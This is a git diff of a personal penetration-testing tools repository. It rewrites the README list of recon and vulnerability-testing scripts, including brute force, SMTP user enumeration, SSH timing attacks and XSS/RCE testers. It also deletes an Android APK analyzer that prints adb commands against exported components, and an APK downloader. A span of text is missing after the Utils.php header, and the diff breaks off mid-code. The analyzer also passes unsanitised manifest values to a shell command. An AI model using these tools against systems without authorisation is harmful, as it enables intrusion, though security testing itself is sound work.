diff --git a/README.md b/README.md
index 2ef7dac..e1d2a1c 100755
--- a/README.md
+++ b/README.md
@@ -1,152 +1,208 @@
-# pentest-tools
-My collection of custom tools I use daily.
+
pentest-tools
-I don't believe in licenses.
-You can do whatever you want with this program.
+A collection of custom security tools for quick needs.
-However, there is a way to support :)
-
+
+
+
+
+
+
+
+
-### arpa.sh
-A script that will convert address in "arpa" format to classical format.
+---
+## Important note
-### crtsh.php
-A script that grab subdomains of a given domain from https://crt.sh
+‼ A big clean occured in 2022-11 ‼
+Some useless/not working scripts have been archived and some others have been moved to their own repository to get more visibility, feel free to check them:
+- [apk-analyzer](https://github.com/gwen001/apk-analyzer)
+- [cloudflare-origin-ip](https://github.com/gwen001/cloudflare-origin-ip)
+- [csp-analyzer](https://github.com/gwen001/csp-analyzer)
+- [detectify-cves](https://github.com/gwen001/detectify-cves)
+- [extract-endpoints](https://github.com/gwen001/extract-endpoints)
+- [favicon-hashtrick](https://github.com/gwen001/favicon-hashtrick)
+- [google-search](https://github.com/gwen001/google-search)
+- [graphql-introspection-analyzer](https://github.com/gwen001/graphql-introspection-analyzer)
+- [keyhacks.sh](https://github.com/gwen001/keyhacks.sh)
+- [related-domains](https://github.com/gwen001/related-domains)
-### detect-vnc-rdp.sh
-A script that test port of a given IP range with netcat, by default: 3389 and 5900.
+---
+## Install
-### dnsenum-brute.sh
-A script that perform brute force through wordlist to find subdomains.
+```
+git clone https://github.com/gwen001/pentest-tools
+cd pentest-tools
+pip3 install -r requirements.txt
+```
+---
-### dnsenum-bruten.sh
-A script that perform brute force through numeric variation to find subdomains.
+## arpa.sh
+Converts IP address in `arpa` format to classical format.
+## bbhost.sh
+Performs `host` command on a given hosts list using `parallel` to make it fast.
-### dnsenum-reverse.sh
-A script that apply reverse DNS technic on a given IP range to find subdomains.
+## codeshare.php
+Performs a string search on [codeshare.io](https://codeshare.io/).
+## cors.py
+Test CORS issue on a given list of hosts.
-### dnsenum-reverserange.sh
-Same thing but IP ranges are read from an input file.
-
-
-### dnsenum-zonetransfer.sh
-A script that test Zone Transfer of a given domain.
-
-
-### extract-endpoints.php
-A script that try to extract endpoints from Javascript files, thanks to [ZSeano](https://twitter.com/zseano)
+## crlf.py
+Test CRLF issue on a given list of hosts.
+## crtsh.php
+Grabs subdomains of a given domain from [crt.sh](https://crt.sh).
-### extract_links.php
-A script that try to extract links from a given HTML file.
+## detect-vnc-rdp.sh
+Tests if ports `3389` and `5900` are open on a given IP range using `netcat`.
+## dnsenum-brute.sh
+Performs brute force through wordlist to find subdomains.
-### finddl.sh
-???
+## dnsenum-bruten.sh
+Performs brute force through numeric variation to find subdomains.
+## dnsenum-reverse.sh
+Apply reverse DNS method on a given IP range to find subdomains.
-### gdorks.php
-A script that simply creates Google dorks for a given domain (the search are not performed).
-
-
-### gg-extract-links.php
-???
-
-
-### ip-converter.php
-A script that convert a given IP address to different format, thanks to [Nicolas Grégoire](http://www.agarri.fr/)
+## dnsenum-reverserange.sh
+Same thing but IP ranges are read from an input file.
+## dnsenum-zonetransfer.sh
+Tests Zone Transfer of a given domain.
-### ip-listing.php
-A script that generates IP address from the start to the end.
+## dnsreq-alltypes.sh
+Performs all types of DNS requests for a given (sub)domain.
+## extract-domains.py
+Extracts domain of a given URL or a list of URLs.
-### mass_axfr.sh
-A script that test Zone Transfer on a given list of domains using [Fierce](https://github.com/mschwager/fierce).
+## extract_links.php
+Extracts links from a given HTML file.
+## filterurls.py
+Classifies and displays URLs by vulnerability types.
-### mass-smtp-user-enum-bruteforce.sh
-A script that perform SMTP user enumeration on a given list of IP address using [smtp-user-enum](https://github.com/pentestmonkey/smtp-user-enum)
+## flash-regexp.sh
+Performs regexps listed in `flash-regexp.txt` for Flash apps testing purpose.
+## gdorks.php
+Generates Google dorks for a given domain (searches are not performed).
-### mass-smtp-user-enum-check.sh
-A script that simply test if SMTP user enumeration is possible on a given list of IP address using [smtp-user-enum](https://github.com/pentestmonkey/smtp-user-enum)
+## hashall.php
+Uses about 40 algorithms to hash a given string.
+## ip-converter.php
+Converts a given IP address to different format, see [Nicolas Grégoire presentation](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf).
-### nrpe.sh
-A script that test the Nagios Remote Plugin Executor Arbitrary Command Execution using Metasploit.
+## ip-listing.php
+Generates a list of IPs addresses from the given start to the given end, range and mask supported.
+## mass_axfr.sh
+Mass test zone transfer on a given list of domains.
-### pass-permut.php
-A script that creates words permutation with different separators and output the hashes.
+## mass-smtp-user-enum-bruteforce.sh
+Performs SMTP user enumeration on a given list of IP address using [smtp-user-enum](https://github.com/pentestmonkey/smtp-user-enum).
+## mass-smtp-user-enum-check.sh
+Tests if SMTP user enumeration is possible on a given list of IP address using [smtp-user-enum](https://github.com/pentestmonkey/smtp-user-enum).
-### ping-sweep-nc.sh
-A script that try to determine what IP are alive in a given range of IP address using Netcat.
+## myutils.sh
+Just few common Bash functions.
+## node-uuid.js
+Encode/Decode UUID using base36.
-### ping-sweep-nmap.sh
-A script that try to determine what IP are alive in a given range of IP address using Nmap.
+## nrpe.sh
+Test Nagios Remote Plugin Executor Arbitrary Command Execution on a given host using Metasploit.
+## openredirect.py
+Test Open Redirect issue on a given list of hosts.
-### ping-sweep-ping.sh
-A script that try to determine what IP are alive in a given range of IP address using Ping.
+## pass-permut.php
+Creates words permutation with different separators and output the hashes using about 40 algorithms.
+## pastebin.php
+Performs a string search on [pastebin.com](https://pastebin.com/).
-### portscan-nc.sh
-A script that try to determine the open ports of a given IP address using Netcat.
+## phantom-xss.js
+See `xss.py`.
+## ping-sweep-nc.sh
+Determines what IPs are alive in a given range of IPs addresses using `netcat`.
-### screensite.sh
-A script that take a screenshot of a given url+port using Xvfb.
+## ping-sweep-nmap.sh
+Determines what IPs are alive in a given range of IPs addresses using `nmap`.
+## ping-sweep-ping.sh
+Determines what IPs are alive in a given range of IPs addresses using `ping`.
-### srv_reco.sh
-A script that perform a very small test of a given IP address.
+## portscan-nc.sh
+Determines the open ports of a given IP address using `netcat`.
+## quick-hits.php
+Tests a given list of path on a given list of hosts.
-### ssh-timing-b4-pass.sh
-???
+## quickhits.py
+Same but the Python version. Tests a given list of path on a given list of hosts.
+## rce.py
+Test RCE issue on a given list of hosts.
-### ssrf-generate-ip.php
-A script that generate random IP address inside private network range.
+## resolve.py
+Resolves a give list of hosts to check which ones are alive and which ones are dead.
+## screensite.sh
+Takes screenshots of a given url+port using `xvfb`.
-### subdomains_finder.sh
-A script that find subdomains using other well known programs ([TheHarvester](https://github.com/laramies/theHarvester), [DNSrecon](https://github.com/darkoperator/dnsrecon)...)
+## shodan.php
+Performs searches on Shodan using their API.
+## smuggler.py
+Test HTTP request smuggling issue on a given list of hosts.
-### subthreat.php
-A script that grab subdomains of a given domain from https://www.threatcrowd.org
+## srv_reco.sh
+Perform very small tests of a given IP address.
+## ssh-timing-b4-pass.sh
+Tries to guess SSH users using timing attack.
-### testhttp.php
-A script that test if an url (subdomain+port) is a web thing.
+## ssrf-generate-ip.php
+Generate random IP address:port inside private network range for SSRF scans.
+## subalt.py
+Generates subdomains alterations and permutations.
-### testhttp2.php
-Same same but different.
+## test-ip-wordlist.sh
+Brute force a wordlist on IPs range and ports list.
+## testhttp.php
+Tries to determine if an url (subdomain+port) is a web thing.
-### test-ip-wordlist.sh
-???
+## testnc.sh
+Performs fuzzing on a given IP address+port using `netcat`.
+## Utils.php
+Just few common PHP functions.
-### testnc.sh
-A script that fuzz a given IP address with Netcat.
+## webdav-bruteforce.sh
+Perform brute force on a given url that use `WebDav` using [Davtest](https://github.com/cldrn/davtest).
+## xss.py
+Test XSS issue on a given list of hosts using `phantomjs`.
-### wayback-analyzer.php
-A script that try to nicely display [waybackurls.py](https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050) output.
+---
+Feel free to [open an issue](/../../issues/) if you have any problem with the script.
-### webdav-bruteforce.sh
-A script that perform brute force on a given url that use WebDav using [Davtest](https://github.com/cldrn/davtest)
diff --git a/Utils.php b/Utils.php
index 16bba95..cfe0545 100644
--- a/Utils.php
+++ b/Utils.php
@@ -1,11 +1,5 @@
=1024 and i<4:
- size = size / 1024
- i = i + 1
- return str(round(size,2)) + units[i]
-
-def printH1( title ):
- sys.stdout.write( '\n\n%s### %s ###%s\n\n' % (fg('light_cyan'),title,attr(0)) )
-
-def printH2( title ):
- sys.stdout.write( '\n%s# %s #%s\n\n' % (fg('light_blue'),title,attr(0)) )
-
-def _print( txt, extra='', level='normal' ):
- if not len(level):
- level = 'normal'
- t_colors = {
- 'silent': 'grey_35',
- 'hsilent': 'grey_35',
- 'debug': 'light_magenta',
- 'hdebug': 'magenta',
- 'normal': 'white',
- 'hnormal': 'light_gray',
- 'info': 'light_green',
- 'hinfo': 'green',
- 'notice': 'gold_1',
- 'hnotice': 'dark_orange_3a',
- 'warning': 'light_red',
- 'hwarning': 'red',
- }
- if len(txt):
- sys.stdout.write( '%s%s' % (fg(t_colors[level]),txt) )
- if len(extra):
- # sys.stdout.write( ' [%s:%s]' % (level.replace('h',''),extra) )
- sys.stdout.write( ' -- %s' % (extra) )
- sys.stdout.write( '%s\n' % attr(0) )
-############################### FUNCTIONS ###############################
-
-
-############################### BASIC INFOS ###############################
-def readInfos( grep_term ):
- printH1( 'INFOS' )
-
- _print( ('Package: %s' % root.attrib['package']) )
-
- if 'platformBuildVersionCode' in root.attrib:
- version = root.attrib['platformBuildVersionCode']
- elif 'compileSdkVersion' in root.attrib:
- version = root.attrib['compileSdkVersion']
- else:
- version = '?'
- _print( ('Build: %s' % version) )
-
- if not grep_term:
- grep_term = root.attrib['package'].split('.')[1]
- _print( ('Grep term: %s' % grep_term) )
- # sys.stdout.write( '\n\n' )
-
- return grep_term
-############################### BASIC INFOS ###############################
-
-
-############################### PERMISSIONS ###############################
-def listPermissionsCreated():
- t_term = []
- t_noterm = []
- t_all = root.findall('permission')
- for obj in t_all:
- if grep_term in obj.attrib['name']:
- t_term.append( obj )
- else:
- t_noterm.append( obj )
-
- printH2( 'PERMISSIONS CREATED () (%d)' % len(t_all) )
- printPermissionsCreated( t_term )
- if len(t_term) and len(t_noterm):
- sys.stdout.write( '---\n' )
- printPermissionsCreated( t_noterm, 'h' )
-
-def printPermissionsCreated( tab, plevel0='' ):
- t_warning = {'EXTERNAL_STORAGE':'external storage permission','INTERNET':'webview permission'}
- for obj in tab:
- extra = ''
- plevel = 'normal'
- for k,v in t_warning.items():
- if k in obj.attrib['name']:
- extra = v
- plevel = 'warning'
- if not 'protectionLevel' in obj.attrib or obj.attrib['protectionLevel'] != 'signature':
- extra = 'no signature'
- plevel = 'warning'
- _print( obj.attrib['name'], extra, plevel0+plevel )
-
-
-def listPermissionsUsed():
- t_term = []
- t_noterm = []
- t_all = root.findall('uses-permission')
- for obj in t_all:
- if grep_term in obj.attrib['name']:
- t_term.append( obj )
- else:
- t_noterm.append( obj )
-
- printH2( 'PERMISSIONS USED () (%d)' % len(t_all) )
- printPermissionsUsed( t_term )
- if len(t_term) and len(t_noterm):
- sys.stdout.write( '---\n' )
- printPermissionsUsed( t_noterm, 'h' )
-
-def printPermissionsUsed( tab, plevel0='' ):
- t_warning = {'EXTERNAL_STORAGE':'external storage permission','INTERNET':'webview permission'}
- for obj in tab:
- extra = ''
- plevel = 'normal'
- for k,v in t_warning.items():
- if k in obj.attrib['name']:
- extra = v
- plevel = 'warning'
- _print( obj.attrib['name'], extra, plevel0+plevel )
-
-
-def listPermissionsRequired():
- t_all = root.findall('permission')
- t_term = []
- t_noterm = []
- for elem in root.iter():
- if 'permission' in elem.attrib:
- if grep_term in elem.attrib['permission']:
- t_term.append( elem )
- else:
- t_noterm.append( elem )
-
- printH2( 'PERMISSIONS REQUIRED (permission="") (%d)' % (len(t_term)+len(t_noterm)) )
- printPermissionsRequired( t_all, t_term )
- if len(t_term) and len(t_noterm):
- sys.stdout.write( '---\n' )
- printPermissionsRequired( t_all, t_noterm, 'h' )
-
-def printPermissionsRequired( t_allperm, tab, plevel0='' ):
- t_unwarn = ['android.permission','com.google.android','com.google.firebase']
- for obj in tab:
- extra = 'permission used but not created'
- plevel = 'warning'
- for perm in t_allperm:
- if obj.attrib['permission'] == perm.attrib['name']:
- extra = ''
- plevel = 'normal'
- for w in t_unwarn:
- if w in obj.attrib['permission']:
- extra = ''
- plevel = 'normal'
- _print( obj.attrib['permission'], extra, plevel0+plevel )
- # sys.stdout.write( '%s%s %s%s\n' % (fg(color),obj.attrib['permission'],extra,attr(0)) )
-
-def listPermissions():
- printH1( 'PERMISSIONS' )
- listPermissionsCreated()
- listPermissionsUsed()
- listPermissionsRequired()
-############################### PERMISSIONS ###############################
-
-
-############################### ACTIVITIES ###############################
-def listActivities():
- app = root.find( 'application' )
- t_all = app.findall('activity')
- t_all = t_all + app.findall('activity-alias')
- t_term = []
- t_noterm = []
- for obj in t_all:
- if grep_term in obj.attrib['name']:
- t_term.append( obj )
- else:
- t_noterm.append( obj )
- printH1( 'ACTIVITIES (%d)' % len(t_all) )
- printActivities( t_term )
- if len(t_term) and len(t_noterm):
- sys.stdout.write( '---\n' )
- printActivities( t_noterm, 'h' )
-
-def printActivities( tab, plevel0='' ):
- for obj in tab:
- if 'exported' in obj.attrib:
- extra = 'exported param'
- exported = obj.attrib['exported'].lower()
- elif obj.findall('intent-filter'):
- extra = 'intent-filter'
- exported = 'true'
- else:
- exported = 'false'
- if 'permission' in obj.attrib and grep_term in obj.attrib['permission']:
- exported = 'false'
- if exported == 'false':
- extra = ''
- plevel = 'normal'
- else:
- extra = "activity is exported ("+extra+") and no '" + grep_term + "' permission setted"
- plevel = 'warning'
- if 'enabled' in obj.attrib and obj.attrib['enabled'].lower() == 'false':
- extra = extra + " but is disabled"
- plevel = 'notice'
- _print( '[+] '+obj.attrib['name'] ,extra, plevel0+plevel )
- for k,v in sorted(obj.attrib.items()):
- k = k.replace('','')
- if not k == 'name':
- _print( ' %s: %s' % (k,v) ,'', plevel0+plevel )
- if display_commands:
- # t_actions = ['android.intent.action.VIEW']
- # if obj.findall('intent-filter'):
- # for intentfilter in obj.findall('intent-filter'):
- # if intentfilter.findall('action'):
- # for action in intentfilter.findall('action'):
- # if not action.attrib['name'] in t_actions:
- # t_actions.append( action.attrib['name'] )
- # for action in t_actions:
- # _print( ' adb shell am start -S -a '+action+' -n '+root.attrib['package']+'/'+obj.attrib['name'] ,'', 'silent' )
- _print( ' adb shell am start -S -n '+root.attrib['package']+'/'+obj.attrib['name'], '', 'silent' )
-############################### ACTIVITIES ###############################
-
-
-############################### SERVICES ###############################
-def listServices():
- app = root.find( 'application' )
- t_all = app.findall('service')
- t_term = []
- t_noterm = []
- for obj in t_all:
- if grep_term in obj.attrib['name']:
- t_term.append( obj )
- else:
- t_noterm.append( obj )
- printH1( 'SERVICES (%d)' % len(t_all) )
- printServices( t_term )
- if len(t_term) and len(t_noterm):
- sys.stdout.write( '---\n' )
- printServices( t_noterm, 'h' )
-
-
-def printServices( tab, plevel0='' ):
- for obj in tab:
- if 'exported' in obj.attrib:
- extra = 'exported param'
- exported = obj.attrib['exported'].lower()
- elif obj.findall('intent-filter'):
- extra = 'intent-filter'
- exported = 'true'
- else:
- exported = 'false'
- if 'permission' in obj.attrib and grep_term in obj.attrib['permission']:
- exported = 'false'
- if exported == 'false':
- extra = ''
- plevel = 'normal'
- else:
- extra = "service is exported ("+extra+") and no '" + grep_term + "' permission setted"
- plevel = 'warning'
- if 'enabled' in obj.attrib and obj.attrib['enabled'].lower() == 'false':
- extra = extra + " but is disabled"
- plevel = 'notice'
- _print( '[+] '+obj.attrib['name'] ,extra, plevel0+plevel )
- for k,v in sorted(obj.attrib.items()):
- k = k.replace('','')
- if not k == 'name':
- _print( ' %s: %s' % (k,v) ,'', plevel0+plevel )
- if display_commands:
- _print( ' adb shell am startservice -n '+root.attrib['package']+'/'+obj.attrib['name'],'', 'silent' )
-############################### SERVICES ###############################
-
-
-############################### RECEIVERS ###############################
-def listReceivers():
- app = root.find( 'application' )
- t_all = app.findall('receiver')
- t_term = []
- t_noterm = []
- for obj in t_all:
- if grep_term in obj.attrib['name']:
- t_term.append( obj )
- else:
- t_noterm.append( obj )
- printH1( 'RECEIVERS (%d)' % len(t_all) )
- printReceivers( t_term )
- if len(t_term) and len(t_noterm):
- sys.stdout.write( '---\n' )
- printReceivers( t_noterm, 'h' )
-
-
-def printReceivers( tab, plevel0='' ):
- for obj in tab:
- if 'exported' in obj.attrib:
- extra = 'exported param'
- exported = obj.attrib['exported'].lower()
- elif obj.findall('intent-filter'):
- extra = 'intent-filter'
- exported = 'true'
- else:
- exported = 'false'
- if 'permission' in obj.attrib and grep_term in obj.attrib['permission']:
- exported = 'false'
- if exported == 'false':
- extra = ''
- plevel = 'normal'
- else:
- extra = "receiver is exported ("+extra+") and no '" + grep_term + "' permission setted"
- plevel = 'warning'
- if 'enabled' in obj.attrib and obj.attrib['enabled'].lower() == 'false':
- extra = extra + " but is disabled"
- plevel = 'notice'
- _print( '[+] '+obj.attrib['name'] ,extra, plevel0+plevel )
- for k,v in sorted(obj.attrib.items()):
- k = k.replace('','')
- if not k == 'name':
- _print( ' %s: %s' % (k,v) ,'', plevel0+plevel )
- if display_commands:
- # t_actions = ['android.intent.action.VIEW']
- # if obj.findall('intent-filter'):
- # for intentfilter in obj.findall('intent-filter'):
- # if intentfilter.findall('action'):
- # for action in intentfilter.findall('action'):
- # if not action.attrib['name'] in t_actions:
- # t_actions.append( action.attrib['name'] )
- # for action in t_actions:
- # _print( ' adb shell am start -S -a '+action+' -n '+root.attrib['package']+'/'+obj.attrib['name'] ,'', 'silent' )
- _print( ' adb shell am broadcast -n '+root.attrib['package']+'/'+obj.attrib['name'], '', 'silent' )
-############################### RECEIVERS ###############################
-
-
-############################### PROVIDERS ###############################
-def listProviders():
- app = root.find( 'application' )
- t_all = app.findall('provider')
- t_term = []
- t_noterm = []
- t_providers_uri = {}
- for obj in t_all:
- if obj.attrib['authorities'].startswith('@'):
- continue
- if grep_term in obj.attrib['authorities']:
- t_term.append( obj )
- else:
- t_noterm.append( obj )
- t_providers_uri[ obj.attrib['authorities'] ] = getProviderURI( obj.attrib['authorities'] )
- printH1( 'PROVIDERS (%d)' % len(t_all) )
- printProviders( t_term, t_providers_uri )
- if len(t_term) and len(t_noterm):
- sys.stdout.write( '---\n' )
- printProviders( t_noterm, t_providers_uri, 'h' )
-
-def getProviderURI( authority ):
- t_uri = [ 'content://'+authority ]
- # t_uri = [ 'content://'+authority ]
- cmd = 'egrep -hro "content://'+ authority + '[a-zA-Z0-9_-/\.]+" "' + src_directory + '/smali/" 2>/dev/null'
- # print(cmd)
- try:
- output = subprocess.check_output( cmd, shell=True ).decode('utf-8')
- # print(output)
- except Exception as e:
- # sys.stdout.write( "%s[-] error occurred: %s%s\n" % (fg('red'),e,attr(0)) )
- return t_uri
-
- for l in output.split("\n"):
- if not len(l):
- continue
- tiktok = ''
- l = l.strip().strip('/').replace( 'content://','' )
- t_split = l.split('/')
- for token in t_split:
- tiktok = tiktok + '/' + token
- tiktok = tiktok.strip('/')
- uri1 = 'content://' + tiktok
- if not uri1 in t_uri:
- t_uri.append( uri1 )
- # uri2 = 'content://' + tiktok + '/'
- # if not uri2 in t_uri:
- # t_uri.append( uri2 )
-
- return t_uri
-
-
-def printProviders( tab, t_providers_uri, plevel0='' ):
- for obj in tab:
- if 'exported' in obj.attrib:
- extra = 'exported param'
- exported = obj.attrib['exported'].lower()
- elif obj.findall('intent-filter'):
- extra = 'intent-filter'
- exported = 'true'
- else:
- exported = 'false'
- if ('permission' in obj.attrib and grep_term in obj.attrib['permission']) or ('readPermission' in obj.attrib and grep_term in obj.attrib['readPermission']):
- exported = 'false'
- if exported == 'false':
- extra = ''
- plevel = 'normal'
- else:
- extra = "provider is exported ("+extra+") and no '" + grep_term + "' permission setted"
- plevel = 'warning'
- if 'enabled' in obj.attrib and obj.attrib['enabled'].lower() == 'false':
- extra = extra + " but is disabled"
- plevel = 'notice'
- _print( '[+] '+obj.attrib['authorities'] ,extra, plevel0+plevel )
- for k,v in sorted(obj.attrib.items()):
- k = k.replace('','')
- if not k == 'name':
- _print( ' %s: %s' % (k,v) ,'', plevel0+plevel )
- if obj.attrib['authorities'] in t_providers_uri and len(t_providers_uri[obj.attrib['authorities']]):
- if len(obj.attrib)>1:
- _print( ' ---', '', plevel0+plevel )
- for uri in sorted(t_providers_uri[obj.attrib['authorities']]):
- _print( ' %s' % uri, '', plevel0+plevel )
- if display_commands:
- _print( ' adb shell content query --uri '+uri, '', 'silent' )
-############################### PROVIDERS ###############################
-
-
-############################### INTERESTING FILES ###############################
-t_files_warning = ['conf','secret','pass','key','auth','cer','crt']
-t_files_ignore = ['.shader','.dict','abp.txt','crashlytics-build.properties','tzdb.dat','.snsr','.alyp','.alyg','.frag','.vert','.gmt','.kml','.traineddata','.glsl','.glb','.css','.otf','.aac','.mid','.ogg','.m4a','.m4v','.ico','.gif','.jpg','.jpeg','.png','.bmp','.svg','.avi','.mpg','.mpeg','.mp3','.woff','.woff2','.ttf','.eot','.mp3','.mp4','.wav','.mpg','.mpeg','.avi','.mov','.wmv' ]
-
-def _listFiles( dir ):
- t_all = []
- t_files = []
-
- # r=root, d=directories, f=files
- for r, d, f in os.walk( dir ):
- for file in f:
- filepath = os.path.join(r,file)
- # filename = filepath.replace(src_directory+'/','')
- filename = filepath.replace(' ','\ ')
- filesstats = os.stat( filepath )
- filesize = format_bytes( filesstats.st_size )
- t_all.append( {'filename':filename,'filesize':filesize} )
- if not filesstats.st_size:
- ignore = True
- else:
- ignore = False
- for i in t_files_ignore:
- if i in filename.lower():
- ignore = True
- if not ignore:
- t_files.append( {'filename':filename,'filesize':filesize} )
-
- return t_all,t_files
-
-
-def printFiles( t_files ):
- for file in sorted(t_files,key=lambda k:k['filename']):
- extra = ''
- plevel = 'normal'
- for w in t_files_warning:
- if w in file['filename'].lower():
- extra = 'can be a sensitive file (\'' + w + '\' found in filemane)'
- plevel = 'warning'
- # sys.stdout.write( '%s%s (%s) %s%s\n' % (fg(color),file['filename'],file['filesize'],extra,attr(0)) )
- _print( '%s (%s)' % (file['filename'],file['filesize']), extra, plevel )
-
-
-def listFiles():
- printH1( 'FILES' )
- t_all, t_files = _listFiles( src_directory+'/assets/' )
- printH2( 'ASSETS (%d/%d)' % (len(t_files),len(t_all)) )
- printFiles( t_files )
- t_all, t_files = _listFiles( src_directory+'/res/raw/' )
- printH2( 'RES/RAW (%d/%d)' % (len(t_files),len(t_all)) )
- printFiles( t_files )
-############################### INTERESTING FILES ###############################
-
-
-############################### DEEP LINKS ###############################
-def listDeepLinks():
- app = root.find( 'application' )
- t_items = app.findall('activity')
- t_items = t_items + app.findall('service')
- t_deeplinks = []
- for activity in t_items:
- t_filters = activity.findall('intent-filter')
- if not t_filters:
- pass
- for filter in t_filters:
- t_tmpdl = []
- has_action = False
- has_category = False
- for child in filter:
- if child.tag == 'action' and child.attrib['name'] == 'android.intent.action.VIEW':
- has_action = True
- if child.tag == 'category' and child.attrib['name'] == 'android.intent.category.BROWSABLE':
- has_category = True
- if child.tag == 'data': # and 'scheme' in child.attrib:
- t_tmpdl.append( child )
- # if has_action and has_category:
- t_deeplinks.extend( t_tmpdl )
-
- printH1( 'DEEP LINKS (%d)' % (len(t_deeplinks)) )
-
- for deeplink in t_deeplinks:
- sys.stdout.write( '\n' )
-############################### DEEP LINKS ###############################
-
-
-parser = argparse.ArgumentParser()
-parser.add_argument( "-d","--directory",help="source directory" )
-parser.add_argument( "-t","--term",help="term referencing the editor" )
-parser.add_argument( "-c","--command",help="display commands to run", action="store_true" )
-parser.add_argument( "-m","--mod",help="mod to run" )
-parser.parse_args()
-args = parser.parse_args()
-
-if args.term:
- grep_term = args.term
-else:
- grep_term = ''
-
-if args.mod:
- mod = args.mod
-else:
- mod = 'paroslf'
-
-if args.command:
- display_commands = True
-else:
- display_commands = False
-
-if not args.directory:
- parser.error( 'source directory is missing' )
-
-args.directory = args.directory.rstrip('/')
-src_directory = args.directory
-if not os.path.isdir(src_directory):
- parser.error( 'source directory not found' )
-
-src_manifest = src_directory + '/' + 'AndroidManifest.xml'
-if not os.path.isfile(src_manifest):
- parser.error( 'Manifest file not found' )
-
-try:
- etparse = ET.parse( src_manifest )
-except:
- parser.error( 'Cannot read Manifest' )
-
-root = etparse.getroot()
-if not root:
- parser.error( 'Cannot read Manifest' )
-
-for elem in root.iter():
- # print( elem.attrib )
- elem.attrib = { k.replace('{http://schemas.android.com/apk/res/android}', ''): v for k, v in elem.attrib.items() }
- # print( elem.attrib )
-
-grep_term = readInfos( grep_term )
-
-for m in mod:
- if m == 'p':
- listPermissions()
- elif m == 'f':
- listFiles()
- # listAssets()
- # listRaw()
- elif m == 'a':
- listActivities()
- elif m == 'r':
- listReceivers()
- elif m == 'o':
- listProviders()
- elif m == 's':
- listServices()
- elif m == 'l':
- listDeepLinks()
diff --git a/apk-downloader.py b/apk-downloader.py
deleted file mode 100755
index a6ecfb4..0000000
--- a/apk-downloader.py
+++ /dev/null
@@ -1,437 +0,0 @@
-import math
-from multiprocessing import Process, Queue
-import os
-import os.path
-import re
-import sys
-import time
-
-try:
- # Python 3
- from queue import Empty as EmptyQueueException
- from queue import Full as FullQueueException
-except ImportError:
- # Python 2
- from Queue import Empty as EmptyQueueException
- from Queue import Full as FullQueueException
-
-from bs4 import BeautifulSoup
-import requests
-
-
-DOMAIN = "https://apkpure.com"
-SEARCH_URL = DOMAIN + "/search?q=%s"
-
-DOWNLOAD_DIR = "./downloaded/"
-PACKAGE_NAMES_FILE = "package_names.txt"
-OUTPUT_CSV = "output.csv"
-
-
-CONCURRENT_DOWNLOADS = 5
-CHUNK_SIZE = 128*1024 # 128 KiB
-PROGRESS_UPDATE_DELAY = 0.25
-PROCESS_TIMEOUT = 10.0
-
-
-MSG_ERROR = -1
-MSG_PAYLOAD = 0
-MSG_START = 1
-MSG_PROGRESS = 2
-MSG_END = 3
-
-
-class SplitProgBar(object):
- @staticmethod
- def center(text, base):
- if len(text) <= len(base):
- left = (len(base) - len(text)) // 2
- return "%s%s%s" % (base[:left], text, base[left+len(text):])
- else:
- return base
-
- def __init__(self, n, width):
- self.n = n
- self.sub_width = int(float(width-(n+1))/n)
- self.width = n * (self.sub_width + 1) + 1
- self.progress = [float("NaN")] * n
-
- def __getitem__(self, ix):
- return self.progress[ix]
-
- def __setitem__(self, ix, value):
- self.progress[ix] = value
-
- def render(self):
- bars = []
- for prog in self.progress:
- if math.isnan(prog) or prog < 0.0:
- bars.append(" " * self.sub_width)
- continue
- bar = "=" * int(round(prog*self.sub_width))
- bar += " " * (self.sub_width-len(bar))
- bar = SplitProgBar.center(" %.2f%% " % (prog*100), bar)
- bars.append(bar)
-
- new_str = "|%s|" % "|".join(bars)
- sys.stdout.write("\r%s" % new_str)
-
- def clear(self):
- sys.stdout.write("\r%s\r" % (" " * self.width))
-
-
-class Counter(object):
- def __init__(self, value = 0):
- self.value = value
-
- def inc(self, n = 1):
- self.value += n
-
- def dec(self, n = 1):
- self.value -= n
-
- @property
- def empty(self):
- return self.value == 0
-
-
-def download_process(id_, qi, qo):
- def send_progress(progress):
- try:
- qo.put_nowait((MSG_PROGRESS, (id_, progress)))
- except FullQueueException:
- pass
-
- def send_error(msg):
- qo.put((MSG_ERROR, (id_, msg)))
-
- def send_start(pkg_name):
- qo.put((MSG_START, (id_, pkg_name)))
-
- def send_finished(pkg_name, app_name, size, path, already=False):
- if already:
- qo.put((MSG_END, (id_, pkg_name, app_name, size, path)))
- else:
- qo.put((MSG_PAYLOAD, (id_, pkg_name, app_name, size, path)))
-
- while True:
- message = qi.get()
-
- if message[0] == MSG_PAYLOAD:
- package_name, app_name, download_url = message[1]
- elif message[0] == MSG_END:
- break
-
- try:
- r = requests.get(download_url, stream=True)
- except requests.exceptions.ConnectionError:
- send_error("Connection error")
- continue
-
- if r.status_code != 200:
- send_error("HTTP Error %d" % r.status_code)
- r.close()
- continue
-
- content_disposition = r.headers.get("content-disposition", "")
- content_length = int(r.headers.get('content-length', 0))
-
- filename = re.search(r'filename="(.+)"', content_disposition)
- if filename and filename.groups():
- filename = filename.groups()[0]
- else:
- filename = "%s.apk" % (package_name.replace(".", "_"))
-
- local_path = os.path.normpath(os.path.join(DOWNLOAD_DIR, filename))
-
- if os.path.exists(local_path):
- if not os.path.isfile(local_path):
- # Not a file
- send_error("%s is a directory" % local_path)
- r.close()
- continue
- if os.path.getsize(local_path) == content_length:
- # File has likely already been downloaded
- send_finished(
- package_name, app_name, content_length, local_path, True)
- r.close()
- continue
-
- send_start(package_name)
-
- size = 0
- t = time.time()
- with open(local_path, "wb+") as f:
- for chunk in r.iter_content(chunk_size=CHUNK_SIZE):
- if chunk:
- size += len(chunk)
- f.write(chunk)
-
- nt = time.time()
- if nt - t >= PROGRESS_UPDATE_DELAY:
- send_progress(float(size) / content_length)
- t = nt
-
- send_finished(package_name, app_name, size, local_path)
-
-
-def search_process(qi, qo):
- def send_error(msg):
- qo.put((MSG_ERROR, msg))
-
- def send_payload(pkg_name, app_name, dl_url):
- qo.put((MSG_PAYLOAD, (pkg_name, app_name, dl_url)))
-
- while True:
- message = qi.get()
-
- if message[0] == MSG_PAYLOAD:
- package_name = message[1]
- elif message[0] == MSG_END:
- break
-
- # Search page
- # url = SEARCH_URL % package_name
- # try:
- # r = requests.get(url)
- # except requests.exceptions.ConnectionError:
- # send_error("Connection error")
- # continue
-
- # if r.status_code != 200:
- # send_error("Could not get search page for %s" % package_name)
- # continue
-
- # soup = BeautifulSoup(r.text, "html.parser")
-
- # first_result = soup.find("dl", class_="search-dl")
- # if first_result is None:
